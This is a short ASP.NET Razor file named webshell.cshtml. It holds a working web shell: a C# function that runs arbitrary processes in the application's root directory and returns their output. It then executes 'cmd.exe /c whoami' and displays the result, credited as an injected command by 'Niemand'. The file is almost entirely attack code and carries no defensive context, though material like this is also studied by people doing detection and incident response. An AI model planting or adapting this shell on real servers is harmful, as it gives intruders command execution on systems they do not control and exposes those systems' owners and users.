webshell.cshtml

@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;

@functions {

	string ExecuteCommand(string command, string arguments = null)
	{
		var output = new System.Text.StringBuilder();
		var process = new Process();
		var startInfo = new ProcessStartInfo
		{
			FileName = command,
			Arguments = arguments,
			WorkingDirectory = HttpRuntime.AppDomainAppPath,
			RedirectStandardOutput = true,
			RedirectStandardError = true,
			UseShellExecute = false
		};

		process.StartInfo = startInfo;
		process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
		process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);

		process.Start();
		process.BeginOutputReadLine();
		process.BeginErrorReadLine();
		process.WaitForExit();

		return output.ToString();
	}
}

@{
	var cmd = ExecuteCommand("cmd.exe", "/c whoami");
}

Output of the injected command (by Niemand):
	@cmd